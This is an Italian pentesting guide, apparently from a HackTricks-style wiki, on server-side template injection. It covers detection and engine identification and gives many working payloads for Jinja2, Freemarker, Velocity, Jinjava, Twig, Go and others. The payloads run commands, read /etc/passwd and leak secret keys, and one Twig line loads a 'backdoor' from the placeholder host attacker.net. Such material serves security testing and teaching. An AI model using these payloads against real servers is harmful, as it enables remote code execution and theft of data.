RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
What is SSTI (Server-Side Template Injection)
L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
Jinja è un popolare motore di template utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
In questo codice vulnerabile, il parametro name della richiesta dell'utente viene passato direttamente nel template utilizzando la funzione render. Questo può potenzialmente consentire a un attaccante di iniettare codice malevolo nel parametro name, portando a un'iniezione di template lato server.
Ad esempio, un attaccante potrebbe creare una richiesta con un payload come questo:
Il payload {{bad-stuff-here}} è iniettato nel parametro name. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
Rilevamento
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, fuzzing del template è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (${{<%[%'"}}%\) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
Contesto in chiaro: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., {{7*7}}, ${7*7}).
Contesto di codice: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare greeting in http://vulnerable-website.com/?greeting=data.username per vedere se l'output del server è dinamico o fisso, come in greeting=data.username}}hello che restituisce il nome utente.
Fase di identificazione
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono ${7/0}, {{7/0}}, e <%= 7/0 %>. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
Exploits
Generico
In questa wordlist puoi trovare variabili definite negli ambienti di alcuni dei motori menzionati di seguito:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Recupera le variabili d'ambiente del sistema
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass della sandbox
⚠️ funziona solo su versioni di Freemarker inferiori a 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione ${7*7}, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, l'inserimento di espressioni è supportato per altre posizioni di template, utilizzando una sintassi come [[...]] o [(...)]. Pertanto, un semplice payload di test SSTI potrebbe apparire come [[${7*7}]].
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio TemplateResolver per creare template da stringhe al volo, il che è raro.
Thymeleaf offre anche preprocessing delle espressioni, dove le espressioni all'interno di doppi underscore (__...__) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
#{selection.__${sel.code}__}
Esempio di Vulnerabilità in Thymeleaf
Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione di codice remoto accedendo a URL come:
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
JavaServer Faces (JSF): Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni corrispondenti nel backend.
JavaServer Pages (JSP): EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell'applicazione.
Contexts and Dependency Injection for Java EE (CDI): EL si integra con CDI per consentire un'interazione fluida tra il livello web e i managed beans, garantendo una struttura applicativa più coerente.
Controlla la seguente pagina per saperne di più sull'sfruttamento degli interpreti EL:
Groovy (Java)
I seguenti bypass del Security Manager sono stati presi da questo writeup.
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates è un motore di templating nativo per PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates sfrutta il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
Controller:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate motore di templating PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 è un motore di template completo per Python. Ha pieno supporto unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
{{7*7}} = Errore
${7*7} = ${7*7}
{{foobar}} Niente
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Formato del template
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Il metodo .NET System.Diagnostics.Process.Start può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in https://github.com/cnotin/RazorVulnerableApp
Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
{{ . }}: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo Password, {{ .Password }} potrebbe esporlo.
{{printf "%s" "ssti" }}: Ci si aspetta che visualizzi la stringa "ssti".
{{html "ssti"}}, {{js "ssti"}}: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go qui.
XSS Exploitation
Con il pacchetto text/template, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto html/template codifica la risposta per prevenire questo (ad esempio, {{"<script>alert(1)</script>"}} risulta in <script>alert(1)</script>). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
L'exploitation RCE differisce significativamente tra html/template e text/template. Il modulo text/template consente di chiamare direttamente qualsiasi funzione pubblica (utilizzando il valore “call”), cosa non consentita in html/template. La documentazione per questi moduli è disponibile qui per html/template e qui per text/template.
Per RCE tramite SSTI in Go, i metodi degli oggetti possono essere invocati. Ad esempio, se l'oggetto fornito ha un metodo System che esegue comandi, può essere sfruttato come {{ .System "ls" }}. Accedere al codice sorgente è solitamente necessario per sfruttare questo, come nell'esempio fornito:
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.